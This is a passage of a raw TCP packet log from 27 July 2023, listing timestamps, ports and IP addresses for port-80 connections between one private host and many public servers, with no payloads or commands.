Jul 27, 2023 21:53:01.721086025 CEST	80	49854	59.106.19.204	192.168.2.4
Jul 27, 2023 21:53:01.721107006 CEST	80	49854	59.106.19.204	192.168.2.4
Jul 27, 2023 21:53:01.721127987 CEST	80	49854	59.106.19.204	192.168.2.4
Jul 27, 2023 21:53:01.721148014 CEST	80	49854	59.106.19.204	192.168.2.4
Jul 27, 2023 21:53:01.721169949 CEST	49854	80	192.168.2.4	59.106.19.204
Jul 27, 2023 21:53:01.721188068 CEST	49854	80	192.168.2.4	59.106.19.204
Jul 27, 2023 21:53:01.721194983 CEST	80	49854	59.106.19.204	192.168.2.4
Jul 27, 2023 21:53:01.721219063 CEST	80	49854	59.106.19.204	192.168.2.4
Jul 27, 2023 21:53:01.721226931 CEST	49854	80	192.168.2.4	59.106.19.204
Jul 27, 2023 21:53:01.721249104 CEST	80	49854	59.106.19.204	192.168.2.4
Jul 27, 2023 21:53:01.721256971 CEST	49854	80	192.168.2.4	59.106.19.204
Jul 27, 2023 21:53:01.721271038 CEST	49854	80	192.168.2.4	59.106.19.204
Jul 27, 2023 21:53:01.721283913 CEST	80	49854	59.106.19.204	192.168.2.4
Jul 27, 2023 21:53:01.721293926 CEST	49854	80	192.168.2.4	59.106.19.204
Jul 27, 2023 21:53:01.721311092 CEST	80	49854	59.106.19.204	192.168.2.4
Jul 27, 2023 21:53:01.721348047 CEST	49854	80	192.168.2.4	59.106.19.204
Jul 27, 2023 21:53:01.721385002 CEST	49854	80	192.168.2.4	59.106.19.204
Jul 27, 2023 21:53:01.733310938 CEST	80	49865	34.149.87.45	192.168.2.4
Jul 27, 2023 21:53:01.733483076 CEST	49865	80	192.168.2.4	34.149.87.45
Jul 27, 2023 21:53:01.745181084 CEST	49866	80	192.168.2.4	198.100.146.220
Jul 27, 2023 21:53:01.748428106 CEST	80	49852	70.39.251.249	192.168.2.4
Jul 27, 2023 21:53:01.748502016 CEST	49852	80	192.168.2.4	70.39.251.249
Jul 27, 2023 21:53:01.781361103 CEST	80	49861	52.86.6.113	192.168.2.4
Jul 27, 2023 21:53:01.781397104 CEST	80	49861	52.86.6.113	192.168.2.4
Jul 27, 2023 21:53:01.781447887 CEST	49861	80	192.168.2.4	52.86.6.113
Jul 27, 2023 21:53:01.781475067 CEST	49861	80	192.168.2.4	52.86.6.113
Jul 27, 2023 21:53:01.806240082 CEST	80	49833	39.99.233.155	192.168.2.4
Jul 27, 2023 21:53:01.806322098 CEST	49833	80	192.168.2.4	39.99.233.155
Jul 27, 2023 21:53:01.827914000 CEST	49861	80	192.168.2.4	52.86.6.113
Jul 27, 2023 21:53:01.829782009 CEST	49867	80	192.168.2.4	69.163.218.51
Jul 27, 2023 21:53:01.840718031 CEST	49835	80	192.168.2.4	96.127.180.42
Jul 27, 2023 21:53:01.857963085 CEST	49868	80	192.168.2.4	72.251.233.245
Jul 27, 2023 21:53:01.861881971 CEST	80	49862	23.227.38.74	192.168.2.4
Jul 27, 2023 21:53:01.861985922 CEST	49862	80	192.168.2.4	23.227.38.74
Jul 27, 2023 21:53:01.876461029 CEST	49865	80	192.168.2.4	34.149.87.45
Jul 27, 2023 21:53:01.888287067 CEST	49855	80	192.168.2.4	206.191.152.37
Jul 27, 2023 21:53:01.891113043 CEST	80	49865	34.149.87.45	192.168.2.4
Jul 27, 2023 21:53:01.929773092 CEST	80	49865	34.149.87.45	192.168.2.4
Jul 27, 2023 21:53:01.930161953 CEST	49865	80	192.168.2.4	34.149.87.45
Jul 27, 2023 21:53:01.945229053 CEST	49869	80	192.168.2.4	103.224.182.241
Jul 27, 2023 21:53:01.963543892 CEST	80	49835	96.127.180.42	192.168.2.4
Jul 27, 2023 21:53:01.963881969 CEST	49835	80	192.168.2.4	96.127.180.42
Jul 27, 2023 21:53:01.964107037 CEST	49835	80	192.168.2.4	96.127.180.42
Jul 27, 2023 21:53:01.970772028 CEST	80	49861	52.86.6.113	192.168.2.4
Jul 27, 2023 21:53:01.979384899 CEST	80	49853	118.27.125.181	192.168.2.4
Jul 27, 2023 21:53:01.979434013 CEST	80	49853	118.27.125.181	192.168.2.4
Jul 27, 2023 21:53:01.979481936 CEST	80	49853	118.27.125.181	192.168.2.4
Jul 27, 2023 21:53:01.979528904 CEST	49853	80	192.168.2.4	118.27.125.181
Jul 27, 2023 21:53:01.979532003 CEST	80	49853	118.27.125.181	192.168.2.4
Jul 27, 2023 21:53:01.979530096 CEST	49853	80	192.168.2.4	118.27.125.181
Jul 27, 2023 21:53:01.979530096 CEST	49853	80	192.168.2.4	118.27.125.181
Jul 27, 2023 21:53:01.979582071 CEST	80	49853	118.27.125.181	192.168.2.4
Jul 27, 2023 21:53:01.979620934 CEST	80	49853	118.27.125.181	192.168.2.4
Jul 27, 2023 21:53:01.979685068 CEST	49853	80	192.168.2.4	118.27.125.181
Jul 27, 2023 21:53:01.979685068 CEST	49853	80	192.168.2.4	118.27.125.181
Jul 27, 2023 21:53:01.980859041 CEST	49871	80	192.168.2.4	208.109.214.162
Jul 27, 2023 21:53:01.987847090 CEST	80	49854	59.106.19.204	192.168.2.4
Jul 27, 2023 21:53:01.987895966 CEST	80	49854	59.106.19.204	192.168.2.4
Jul 27, 2023 21:53:01.987973928 CEST	49854	80	192.168.2.4	59.106.19.204
Jul 27, 2023 21:53:01.988017082 CEST	49854	80	192.168.2.4	59.106.19.204
Jul 27, 2023 21:53:01.994230986 CEST	80	49867	69.163.218.51	192.168.2.4
Jul 27, 2023 21:53:01.994388103 CEST	49867	80	192.168.2.4	69.163.218.51
Jul 27, 2023 21:53:02.003366947 CEST	49867	80	192.168.2.4	69.163.218.51
Jul 27, 2023 21:53:02.050004005 CEST	49870	80	192.168.2.4	52.86.6.113
Jul 27, 2023 21:53:02.086868048 CEST	80	49835	96.127.180.42	192.168.2.4
Jul 27, 2023 21:53:02.087311983 CEST	80	49835	96.127.180.42	192.168.2.4
Jul 27, 2023 21:53:02.087517023 CEST	49835	80	192.168.2.4	96.127.180.42
Jul 27, 2023 21:53:02.106205940 CEST	80	49833	39.99.233.155	192.168.2.4
Jul 27, 2023 21:53:02.106317043 CEST	80	49833	39.99.233.155	192.168.2.4
Jul 27, 2023 21:53:02.106369972 CEST	80	49833	39.99.233.155	192.168.2.4
Jul 27, 2023 21:53:02.106441021 CEST	80	49833	39.99.233.155	192.168.2.4
Jul 27, 2023 21:53:02.106496096 CEST	80	49833	39.99.233.155	192.168.2.4
Jul 27, 2023 21:53:02.106690884 CEST	49833	80	192.168.2.4	39.99.233.155
Jul 27, 2023 21:53:02.106848955 CEST	49833	80	192.168.2.4	39.99.233.155
Jul 27, 2023 21:53:02.111514091 CEST	80	49869	103.224.182.241	192.168.2.4
Jul 27, 2023 21:53:02.111778021 CEST	49869	80	192.168.2.4	103.224.182.241
Jul 27, 2023 21:53:02.115262985 CEST	49869	80	192.168.2.4	103.224.182.241
Jul 27, 2023 21:53:02.116319895 CEST	49835	80	192.168.2.4	96.127.180.42
Jul 27, 2023 21:53:02.116353989 CEST	80	49868	72.251.233.245	192.168.2.4
Jul 27, 2023 21:53:02.122323990 CEST	49868	80	192.168.2.4	72.251.233.245
Jul 27, 2023 21:53:02.123287916 CEST	49868	80	192.168.2.4	72.251.233.245
Jul 27, 2023 21:53:02.143574953 CEST	80	49871	208.109.214.162	192.168.2.4
Jul 27, 2023 21:53:02.143704891 CEST	49871	80	192.168.2.4	208.109.214.162
Jul 27, 2023 21:53:02.144155979 CEST	49871	80	192.168.2.4	208.109.214.162
Jul 27, 2023 21:53:02.148483992 CEST	80	49855	206.191.152.37	192.168.2.4
Jul 27, 2023 21:53:02.167939901 CEST	80	49867	69.163.218.51	192.168.2.4
Jul 27, 2023 21:53:02.168693066 CEST	80	49867	69.163.218.51	192.168.2.4
Jul 27, 2023 21:53:02.169106007 CEST	49867	80	192.168.2.4	69.163.218.51
Jul 27, 2023 21:53:02.169491053 CEST	80	49867	69.163.218.51	192.168.2.4
Jul 27, 2023 21:53:02.170170069 CEST	49867	80	192.168.2.4	69.163.218.51
Jul 27, 2023 21:53:02.191430092 CEST	80	49870	52.86.6.113	192.168.2.4
Jul 27, 2023 21:53:02.191617012 CEST	49870	80	192.168.2.4	52.86.6.113
Jul 27, 2023 21:53:02.196702003 CEST	49870	80	192.168.2.4	52.86.6.113
Jul 27, 2023 21:53:02.197011948 CEST	49867	80	192.168.2.4	69.163.218.51
Jul 27, 2023 21:53:02.197637081 CEST	49872	80	192.168.2.4	69.163.218.51
Jul 27, 2023 21:53:02.239490032 CEST	80	49835	96.127.180.42	192.168.2.4
Jul 27, 2023 21:53:02.239612103 CEST	49835	80	192.168.2.4	96.127.180.42
Jul 27, 2023 21:53:02.268273115 CEST	49873	80	192.168.2.4	104.26.7.221
Jul 27, 2023 21:53:02.287679911 CEST	80	49821	185.80.51.179	192.168.2.4
Jul 27, 2023 21:53:02.287800074 CEST	49821	80	192.168.2.4	185.80.51.179
Jul 27, 2023 21:53:02.287851095 CEST	80	49873	104.26.7.221	192.168.2.4
Jul 27, 2023 21:53:02.287976027 CEST	49873	80	192.168.2.4	104.26.7.221
Jul 27, 2023 21:53:02.290458918 CEST	49875	80	192.168.2.4	188.114.97.7
Jul 27, 2023 21:53:02.290857077 CEST	49874	80	192.168.2.4	213.186.33.17
Jul 27, 2023 21:53:02.291951895 CEST	49873	80	192.168.2.4	104.26.7.221
Jul 27, 2023 21:53:02.306508064 CEST	80	49871	208.109.214.162	192.168.2.4
Jul 27, 2023 21:53:02.306592941 CEST	80	49875	188.114.97.7	192.168.2.4
Jul 27, 2023 21:53:02.306672096 CEST	49875	80	192.168.2.4	188.114.97.7
Jul 27, 2023 21:53:02.307262897 CEST	80	49871	208.109.214.162	192.168.2.4
Jul 27, 2023 21:53:02.307342052 CEST	49871	80	192.168.2.4	208.109.214.162
Jul 27, 2023 21:53:02.308101892 CEST	80	49873	104.26.7.221	192.168.2.4
Jul 27, 2023 21:53:02.308242083 CEST	49875	80	192.168.2.4	188.114.97.7
Jul 27, 2023 21:53:02.320238113 CEST	80	49873	104.26.7.221	192.168.2.4
Jul 27, 2023 21:53:02.320316076 CEST	80	49873	104.26.7.221	192.168.2.4
Jul 27, 2023 21:53:02.320341110 CEST	80	49873	104.26.7.221	192.168.2.4
Jul 27, 2023 21:53:02.320363998 CEST	80	49873	104.26.7.221	192.168.2.4
Jul 27, 2023 21:53:02.320379019 CEST	49873	80	192.168.2.4	104.26.7.221
Jul 27, 2023 21:53:02.320380926 CEST	80	49873	104.26.7.221	192.168.2.4
Jul 27, 2023 21:53:02.320425987 CEST	49873	80	192.168.2.4	104.26.7.221
Jul 27, 2023 21:53:02.320456028 CEST	49873	80	192.168.2.4	104.26.7.221
Jul 27, 2023 21:53:02.322280884 CEST	80	49869	103.224.182.241	192.168.2.4
Jul 27, 2023 21:53:02.322578907 CEST	80	49874	213.186.33.17	192.168.2.4
Jul 27, 2023 21:53:02.322666883 CEST	49874	80	192.168.2.4	213.186.33.17
Jul 27, 2023 21:53:02.324282885 CEST	80	49875	188.114.97.7	192.168.2.4
Jul 27, 2023 21:53:02.325930119 CEST	80	49869	103.224.182.241	192.168.2.4
Jul 27, 2023 21:53:02.325951099 CEST	80	49869	103.224.182.241	192.168.2.4
Jul 27, 2023 21:53:02.326003075 CEST	49869	80	192.168.2.4	103.224.182.241
Jul 27, 2023 21:53:02.326033115 CEST	49869	80	192.168.2.4	103.224.182.241
Jul 27, 2023 21:53:02.335776091 CEST	80	49870	52.86.6.113	192.168.2.4
Jul 27, 2023 21:53:02.335793018 CEST	80	49870	52.86.6.113	192.168.2.4
Jul 27, 2023 21:53:02.335855007 CEST	49870	80	192.168.2.4	52.86.6.113
Jul 27, 2023 21:53:02.335900068 CEST	49870	80	192.168.2.4	52.86.6.113
Jul 27, 2023 21:53:02.337095976 CEST	80	49875	188.114.97.7	192.168.2.4
Jul 27, 2023 21:53:02.337146997 CEST	49875	80	192.168.2.4	188.114.97.7
Jul 27, 2023 21:53:02.359936953 CEST	80	49833	39.99.233.155	192.168.2.4
Jul 27, 2023 21:53:02.359982967 CEST	80	49833	39.99.233.155	192.168.2.4
Jul 27, 2023 21:53:02.360011101 CEST	80	49833	39.99.233.155	192.168.2.4
Jul 27, 2023 21:53:02.360037088 CEST	80	49833	39.99.233.155	192.168.2.4
Jul 27, 2023 21:53:02.360064030 CEST	80	49833	39.99.233.155	192.168.2.4
Jul 27, 2023 21:53:02.360200882 CEST	49833	80	192.168.2.4	39.99.233.155
Jul 27, 2023 21:53:02.360238075 CEST	49833	80	192.168.2.4	39.99.233.155
Jul 27, 2023 21:53:02.361172915 CEST	80	49867	69.163.218.51	192.168.2.4
Jul 27, 2023 21:53:02.362032890 CEST	80	49872	69.163.218.51	192.168.2.4
Jul 27, 2023 21:53:02.362166882 CEST	49872	80	192.168.2.4	69.163.218.51
Jul 27, 2023 21:53:02.381967068 CEST	80	49868	72.251.233.245	192.168.2.4
Jul 27, 2023 21:53:02.381997108 CEST	80	49868	72.251.233.245	192.168.2.4
Jul 27, 2023 21:53:02.382030964 CEST	80	49868	72.251.233.245	192.168.2.4
Jul 27, 2023 21:53:02.382114887 CEST	49868	80	192.168.2.4	72.251.233.245
Jul 27, 2023 21:53:02.382116079 CEST	49868	80	192.168.2.4	72.251.233.245
Jul 27, 2023 21:53:02.392009020 CEST	49869	80	192.168.2.4	103.224.182.241
Jul 27, 2023 21:53:02.396908998 CEST	49870	80	192.168.2.4	52.86.6.113
Jul 27, 2023 21:53:02.419573069 CEST	49868	80	192.168.2.4	72.251.233.245
Jul 27, 2023 21:53:02.509845972 CEST	49874	80	192.168.2.4	213.186.33.17
Jul 27, 2023 21:53:02.535824060 CEST	80	49870	52.86.6.113	192.168.2.4
Jul 27, 2023 21:53:02.543390989 CEST	80	49874	213.186.33.17	192.168.2.4
Jul 27, 2023 21:53:02.543469906 CEST	80	49874	213.186.33.17	192.168.2.4
Jul 27, 2023 21:53:02.543509960 CEST	80	49874	213.186.33.17	192.168.2.4
Jul 27, 2023 21:53:02.543556929 CEST	49874	80	192.168.2.4	213.186.33.17
Jul 27, 2023 21:53:02.543610096 CEST	49874	80	192.168.2.4	213.186.33.17
Jul 27, 2023 21:53:02.549930096 CEST	49872	80	192.168.2.4	69.163.218.51
Jul 27, 2023 21:53:02.550164938 CEST	49871	80	192.168.2.4	208.109.214.162
Jul 27, 2023 21:53:02.558166981 CEST	80	49869	103.224.182.241	192.168.2.4
Jul 27, 2023 21:53:02.593725920 CEST	49877	80	192.168.2.4	172.217.16.179
Jul 27, 2023 21:53:02.593733072 CEST	49876	80	192.168.2.4	62.122.190.121
Jul 27, 2023 21:53:02.601398945 CEST	49878	80	192.168.2.4	170.82.174.30
Jul 27, 2023 21:53:02.601526976 CEST	49879	80	192.168.2.4	104.21.88.198
Jul 27, 2023 21:53:02.608213902 CEST	80	49877	172.217.16.179	192.168.2.4
Jul 27, 2023 21:53:02.608465910 CEST	49877	80	192.168.2.4	172.217.16.179
Jul 27, 2023 21:53:02.618032932 CEST	80	49879	104.21.88.198	192.168.2.4
Jul 27, 2023 21:53:02.618135929 CEST	80	49833	39.99.233.155	192.168.2.4
Jul 27, 2023 21:53:02.618184090 CEST	80	49833	39.99.233.155	192.168.2.4
Jul 27, 2023 21:53:02.618232965 CEST	80	49833	39.99.233.155	192.168.2.4
Jul 27, 2023 21:53:02.618263006 CEST	49879	80	192.168.2.4	104.21.88.198
Jul 27, 2023 21:53:02.618383884 CEST	49833	80	192.168.2.4	39.99.233.155
Jul 27, 2023 21:53:02.618437052 CEST	49833	80	192.168.2.4	39.99.233.155
Jul 27, 2023 21:53:02.628839016 CEST	80	49876	62.122.190.121	192.168.2.4
Jul 27, 2023 21:53:02.629050970 CEST	49876	80	192.168.2.4	62.122.190.121
Jul 27, 2023 21:53:02.649122953 CEST	49877	80	192.168.2.4	172.217.16.179
Jul 27, 2023 21:53:02.649491072 CEST	49879	80	192.168.2.4	104.21.88.198
Jul 27, 2023 21:53:02.649950027 CEST	49876	80	192.168.2.4	62.122.190.121
Jul 27, 2023 21:53:02.656774044 CEST	80	49822	69.163.239.62	192.168.2.4
Jul 27, 2023 21:53:02.658449888 CEST	49822	80	192.168.2.4	69.163.239.62
Jul 27, 2023 21:53:02.663589954 CEST	80	49877	172.217.16.179	192.168.2.4
Jul 27, 2023 21:53:02.665916920 CEST	80	49879	104.21.88.198	192.168.2.4
Jul 27, 2023 21:53:02.678056955 CEST	80	49868	72.251.233.245	192.168.2.4
Jul 27, 2023 21:53:02.684917927 CEST	80	49876	62.122.190.121	192.168.2.4
Jul 27, 2023 21:53:02.686161041 CEST	80	49876	62.122.190.121	192.168.2.4
Jul 27, 2023 21:53:02.686280012 CEST	49876	80	192.168.2.4	62.122.190.121
Jul 27, 2023 21:53:02.713629007 CEST	80	49871	208.109.214.162	192.168.2.4
Jul 27, 2023 21:53:02.714361906 CEST	80	49872	69.163.218.51	192.168.2.4
Jul 27, 2023 21:53:02.714478970 CEST	49871	80	192.168.2.4	208.109.214.162
Jul 27, 2023 21:53:02.715487957 CEST	80	49872	69.163.218.51	192.168.2.4
Jul 27, 2023 21:53:02.715601921 CEST	49872	80	192.168.2.4	69.163.218.51
Jul 27, 2023 21:53:02.716109037 CEST	80	49872	69.163.218.51	192.168.2.4
Jul 27, 2023 21:53:02.716191053 CEST	49872	80	192.168.2.4	69.163.218.51
Jul 27, 2023 21:53:02.731017113 CEST	49872	80	192.168.2.4	69.163.218.51
Jul 27, 2023 21:53:02.742027998 CEST	80	49879	104.21.88.198	192.168.2.4
Jul 27, 2023 21:53:02.742064953 CEST	80	49879	104.21.88.198	192.168.2.4
Jul 27, 2023 21:53:02.742080927 CEST	80	49879	104.21.88.198	192.168.2.4
Jul 27, 2023 21:53:02.742151022 CEST	49879	80	192.168.2.4	104.21.88.198
Jul 27, 2023 21:53:02.742191076 CEST	49879	80	192.168.2.4	104.21.88.198
Jul 27, 2023 21:53:02.743546009 CEST	80	49819	60.43.154.138	192.168.2.4
Jul 27, 2023 21:53:02.743647099 CEST	49819	80	192.168.2.4	60.43.154.138
Jul 27, 2023 21:53:02.768416882 CEST	80	49877	172.217.16.179	192.168.2.4
Jul 27, 2023 21:53:02.768553019 CEST	49877	80	192.168.2.4	172.217.16.179
Jul 27, 2023 21:53:02.823849916 CEST	80	49878	170.82.174.30	192.168.2.4
Jul 27, 2023 21:53:02.824007034 CEST	49878	80	192.168.2.4	170.82.174.30
Jul 27, 2023 21:53:02.895631075 CEST	80	49872	69.163.218.51	192.168.2.4
Jul 27, 2023 21:53:02.898545027 CEST	80	49833	39.99.233.155	192.168.2.4
Jul 27, 2023 21:53:02.898592949 CEST	80	49833	39.99.233.155	192.168.2.4
Jul 27, 2023 21:53:02.898626089 CEST	80	49833	39.99.233.155	192.168.2.4
Jul 27, 2023 21:53:02.898674011 CEST	80	49833	39.99.233.155	192.168.2.4
Jul 27, 2023 21:53:02.898705959 CEST	80	49833	39.99.233.155	192.168.2.4
Jul 27, 2023 21:53:02.898736954 CEST	80	49833	39.99.233.155	192.168.2.4
Jul 27, 2023 21:53:02.898883104 CEST	49833	80	192.168.2.4	39.99.233.155
Jul 27, 2023 21:53:02.899028063 CEST	49833	80	192.168.2.4	39.99.233.155
Jul 27, 2023 21:53:02.968357086 CEST	49878	80	192.168.2.4	170.82.174.30
Jul 27, 2023 21:53:02.970995903 CEST	49876	80	192.168.2.4	62.122.190.121
Jul 27, 2023 21:53:03.006865025 CEST	80	49876	62.122.190.121	192.168.2.4
Jul 27, 2023 21:53:03.007026911 CEST	49876	80	192.168.2.4	62.122.190.121
Jul 27, 2023 21:53:03.038804054 CEST	49880	80	192.168.2.4	208.97.178.138
Jul 27, 2023 21:53:03.116991043 CEST	49881	80	192.168.2.4	89.161.163.246
Jul 27, 2023 21:53:03.125662088 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:03.141881943 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:03.143832922 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:03.147866964 CEST	80	49881	89.161.163.246	192.168.2.4
Jul 27, 2023 21:53:03.148062944 CEST	49881	80	192.168.2.4	89.161.163.246
Jul 27, 2023 21:53:03.149575949 CEST	49882	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:53:03.149805069 CEST	49881	80	192.168.2.4	89.161.163.246
Jul 27, 2023 21:53:03.163213968 CEST	49883	80	192.168.2.4	192.241.158.94
Jul 27, 2023 21:53:03.165646076 CEST	80	49882	172.67.70.22	192.168.2.4
Jul 27, 2023 21:53:03.167254925 CEST	80	49880	208.97.178.138	192.168.2.4
Jul 27, 2023 21:53:03.167406082 CEST	49880	80	192.168.2.4	208.97.178.138
Jul 27, 2023 21:53:03.168123007 CEST	49884	80	192.168.2.4	3.19.116.195
Jul 27, 2023 21:53:03.168411016 CEST	49880	80	192.168.2.4	208.97.178.138
Jul 27, 2023 21:53:03.169008970 CEST	49885	80	192.168.2.4	3.64.163.50
Jul 27, 2023 21:53:03.169832945 CEST	49886	80	192.168.2.4	192.252.154.18
Jul 27, 2023 21:53:03.180408001 CEST	80	49881	89.161.163.246	192.168.2.4
Jul 27, 2023 21:53:03.189886093 CEST	80	49885	3.64.163.50	192.168.2.4
Jul 27, 2023 21:53:03.189991951 CEST	49885	80	192.168.2.4	3.64.163.50
Jul 27, 2023 21:53:03.190582991 CEST	49885	80	192.168.2.4	3.64.163.50
Jul 27, 2023 21:53:03.190742970 CEST	49887	80	192.168.2.4	80.74.154.6
Jul 27, 2023 21:53:03.191226959 CEST	80	49878	170.82.174.30	192.168.2.4
Jul 27, 2023 21:53:03.194561958 CEST	80	49833	39.99.233.155	192.168.2.4
Jul 27, 2023 21:53:03.194596052 CEST	80	49833	39.99.233.155	192.168.2.4
Jul 27, 2023 21:53:03.194752932 CEST	49833	80	192.168.2.4	39.99.233.155
Jul 27, 2023 21:53:03.194806099 CEST	49833	80	192.168.2.4	39.99.233.155
Jul 27, 2023 21:53:03.212622881 CEST	80	49885	3.64.163.50	192.168.2.4
Jul 27, 2023 21:53:03.212661982 CEST	80	49887	80.74.154.6	192.168.2.4
Jul 27, 2023 21:53:03.212688923 CEST	80	49885	3.64.163.50	192.168.2.4
Jul 27, 2023 21:53:03.212807894 CEST	49887	80	192.168.2.4	80.74.154.6
Jul 27, 2023 21:53:03.212939978 CEST	49885	80	192.168.2.4	3.64.163.50
Jul 27, 2023 21:53:03.213289976 CEST	49887	80	192.168.2.4	80.74.154.6
Jul 27, 2023 21:53:03.234154940 CEST	80	49827	108.167.164.216	192.168.2.4
Jul 27, 2023 21:53:03.234451056 CEST	49827	80	192.168.2.4	108.167.164.216
Jul 27, 2023 21:53:03.234819889 CEST	80	49887	80.74.154.6	192.168.2.4
Jul 27, 2023 21:53:03.234848976 CEST	80	49887	80.74.154.6	192.168.2.4
Jul 27, 2023 21:53:03.234942913 CEST	49887	80	192.168.2.4	80.74.154.6
Jul 27, 2023 21:53:03.260554075 CEST	80	49883	192.241.158.94	192.168.2.4
Jul 27, 2023 21:53:03.260726929 CEST	49883	80	192.168.2.4	192.241.158.94
Jul 27, 2023 21:53:03.262047052 CEST	80	49881	89.161.163.246	192.168.2.4
Jul 27, 2023 21:53:03.262106895 CEST	80	49881	89.161.163.246	192.168.2.4
Jul 27, 2023 21:53:03.262196064 CEST	49881	80	192.168.2.4	89.161.163.246
Jul 27, 2023 21:53:03.262197018 CEST	49881	80	192.168.2.4	89.161.163.246
Jul 27, 2023 21:53:03.274517059 CEST	80	49886	192.252.154.18	192.168.2.4
Jul 27, 2023 21:53:03.274656057 CEST	49886	80	192.168.2.4	192.252.154.18
Jul 27, 2023 21:53:03.298458099 CEST	80	49880	208.97.178.138	192.168.2.4
Jul 27, 2023 21:53:03.299174070 CEST	80	49880	208.97.178.138	192.168.2.4
Jul 27, 2023 21:53:03.299429893 CEST	49880	80	192.168.2.4	208.97.178.138
Jul 27, 2023 21:53:03.299590111 CEST	80	49880	208.97.178.138	192.168.2.4
Jul 27, 2023 21:53:03.299669027 CEST	49880	80	192.168.2.4	208.97.178.138
Jul 27, 2023 21:53:03.318306923 CEST	80	49884	3.19.116.195	192.168.2.4
Jul 27, 2023 21:53:03.318470955 CEST	49884	80	192.168.2.4	3.19.116.195
Jul 27, 2023 21:53:03.318897009 CEST	49880	80	192.168.2.4	208.97.178.138
Jul 27, 2023 21:53:03.319586992 CEST	49888	80	192.168.2.4	208.97.178.138
Jul 27, 2023 21:53:03.335746050 CEST	80	49878	170.82.174.30	192.168.2.4
Jul 27, 2023 21:53:03.335871935 CEST	49878	80	192.168.2.4	170.82.174.30
Jul 27, 2023 21:53:03.361565113 CEST	49889	80	192.168.2.4	147.154.0.23
Jul 27, 2023 21:53:03.423229933 CEST	80	49888	208.97.178.138	192.168.2.4
Jul 27, 2023 21:53:03.423382044 CEST	49888	80	192.168.2.4	208.97.178.138
Jul 27, 2023 21:53:03.423799992 CEST	49888	80	192.168.2.4	208.97.178.138
Jul 27, 2023 21:53:03.447629929 CEST	80	49880	208.97.178.138	192.168.2.4
Jul 27, 2023 21:53:03.469265938 CEST	80	49889	147.154.0.23	192.168.2.4
Jul 27, 2023 21:53:03.469428062 CEST	49889	80	192.168.2.4	147.154.0.23
Jul 27, 2023 21:53:03.473320007 CEST	49884	80	192.168.2.4	3.19.116.195
Jul 27, 2023 21:53:03.473576069 CEST	49886	80	192.168.2.4	192.252.154.18
Jul 27, 2023 21:53:03.473922014 CEST	49883	80	192.168.2.4	192.241.158.94
Jul 27, 2023 21:53:03.474275112 CEST	49889	80	192.168.2.4	147.154.0.23
Jul 27, 2023 21:53:03.500366926 CEST	80	49833	39.99.233.155	192.168.2.4
Jul 27, 2023 21:53:03.500416994 CEST	80	49833	39.99.233.155	192.168.2.4
Jul 27, 2023 21:53:03.500441074 CEST	80	49833	39.99.233.155	192.168.2.4
Jul 27, 2023 21:53:03.500459909 CEST	80	49833	39.99.233.155	192.168.2.4
Jul 27, 2023 21:53:03.500478983 CEST	80	49833	39.99.233.155	192.168.2.4
Jul 27, 2023 21:53:03.500499964 CEST	80	49833	39.99.233.155	192.168.2.4
Jul 27, 2023 21:53:03.500591993 CEST	49833	80	192.168.2.4	39.99.233.155
Jul 27, 2023 21:53:03.500675917 CEST	49833	80	192.168.2.4	39.99.233.155
Jul 27, 2023 21:53:03.502068043 CEST	49890	80	192.168.2.4	206.191.152.37
Jul 27, 2023 21:53:03.523348093 CEST	49887	80	192.168.2.4	80.74.154.6
Jul 27, 2023 21:53:03.526814938 CEST	49878	80	192.168.2.4	170.82.174.30
Jul 27, 2023 21:53:03.528800964 CEST	80	49888	208.97.178.138	192.168.2.4
Jul 27, 2023 21:53:03.529855013 CEST	80	49888	208.97.178.138	192.168.2.4
Jul 27, 2023 21:53:03.530673027 CEST	80	49888	208.97.178.138	192.168.2.4
Jul 27, 2023 21:53:03.530842066 CEST	49888	80	192.168.2.4	208.97.178.138
Jul 27, 2023 21:53:03.530949116 CEST	49888	80	192.168.2.4	208.97.178.138
Jul 27, 2023 21:53:03.547990084 CEST	80	49887	80.74.154.6	192.168.2.4
Jul 27, 2023 21:53:03.548094034 CEST	49887	80	192.168.2.4	80.74.154.6
Jul 27, 2023 21:53:03.571156025 CEST	80	49883	192.241.158.94	192.168.2.4
Jul 27, 2023 21:53:03.571182966 CEST	80	49883	192.241.158.94	192.168.2.4
Jul 27, 2023 21:53:03.571242094 CEST	49883	80	192.168.2.4	192.241.158.94
Jul 27, 2023 21:53:03.577656031 CEST	80	49886	192.252.154.18	192.168.2.4
Jul 27, 2023 21:53:03.579554081 CEST	80	49886	192.252.154.18	192.168.2.4
Jul 27, 2023 21:53:03.579637051 CEST	49886	80	192.168.2.4	192.252.154.18
Jul 27, 2023 21:53:03.581793070 CEST	80	49889	147.154.0.23	192.168.2.4
Jul 27, 2023 21:53:03.597928047 CEST	80	49889	147.154.0.23	192.168.2.4
Jul 27, 2023 21:53:03.598124981 CEST	49889	80	192.168.2.4	147.154.0.23
Jul 27, 2023 21:53:03.599632025 CEST	80	49889	147.154.0.23	192.168.2.4
Jul 27, 2023 21:53:03.599818945 CEST	49889	80	192.168.2.4	147.154.0.23
Jul 27, 2023 21:53:03.620738029 CEST	80	49884	3.19.116.195	192.168.2.4
Jul 27, 2023 21:53:03.620790005 CEST	80	49884	3.19.116.195	192.168.2.4
Jul 27, 2023 21:53:03.620893002 CEST	49884	80	192.168.2.4	3.19.116.195
Jul 27, 2023 21:53:03.620945930 CEST	49884	80	192.168.2.4	3.19.116.195
Jul 27, 2023 21:53:03.623372078 CEST	80	49784	213.186.33.40	192.168.2.4
Jul 27, 2023 21:53:03.624691963 CEST	49784	80	192.168.2.4	213.186.33.40
Jul 27, 2023 21:53:03.633018970 CEST	49884	80	192.168.2.4	3.19.116.195
Jul 27, 2023 21:53:03.634515047 CEST	80	49888	208.97.178.138	192.168.2.4
Jul 27, 2023 21:53:03.674400091 CEST	49883	80	192.168.2.4	192.241.158.94
Jul 27, 2023 21:53:03.733691931 CEST	49891	80	192.168.2.4	3.19.116.195
Jul 27, 2023 21:53:03.750853062 CEST	80	49878	170.82.174.30	192.168.2.4
Jul 27, 2023 21:53:03.759696007 CEST	80	49890	206.191.152.37	192.168.2.4
Jul 27, 2023 21:53:03.759785891 CEST	49890	80	192.168.2.4	206.191.152.37
Jul 27, 2023 21:53:03.771845102 CEST	80	49883	192.241.158.94	192.168.2.4
Jul 27, 2023 21:53:03.771928072 CEST	49883	80	192.168.2.4	192.241.158.94
Jul 27, 2023 21:53:03.780180931 CEST	80	49884	3.19.116.195	192.168.2.4
